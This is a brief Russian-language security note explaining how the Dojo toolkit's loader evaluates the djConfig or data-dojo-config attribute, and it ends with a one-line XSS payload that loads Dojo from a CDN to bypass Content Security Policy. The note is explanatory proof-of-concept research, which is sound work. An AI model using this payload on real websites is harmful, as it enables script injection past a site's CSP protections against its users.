все заметки

Обход CSP с помощью Dojo

2023.08.02 (редактировано: 2023.08.03)

dojotoolkit.org

Нужный код:

if((src = (script.getAttribute("data-dojo-config") || script.getAttribute("djConfig")))){\n\tdojoSniffConfig = req.eval("({ " + src + " })", "data-dojo-config");\n\n\t// remember an insertPointSibling\n\tinsertPointSibling = script;\n}

В <script> где идет загрузка Dojo нужен атрибут data-dojo-config или djConfig который исполняется через eval. В старых версиях только djConfig.

Итого:

<script src="//cdn.jsdelivr.net/npm/dojo@1.17.3/dojo.js" djConfig="0:alert(origin)"></script>

Проверить

еще по темам: xss, csp bypass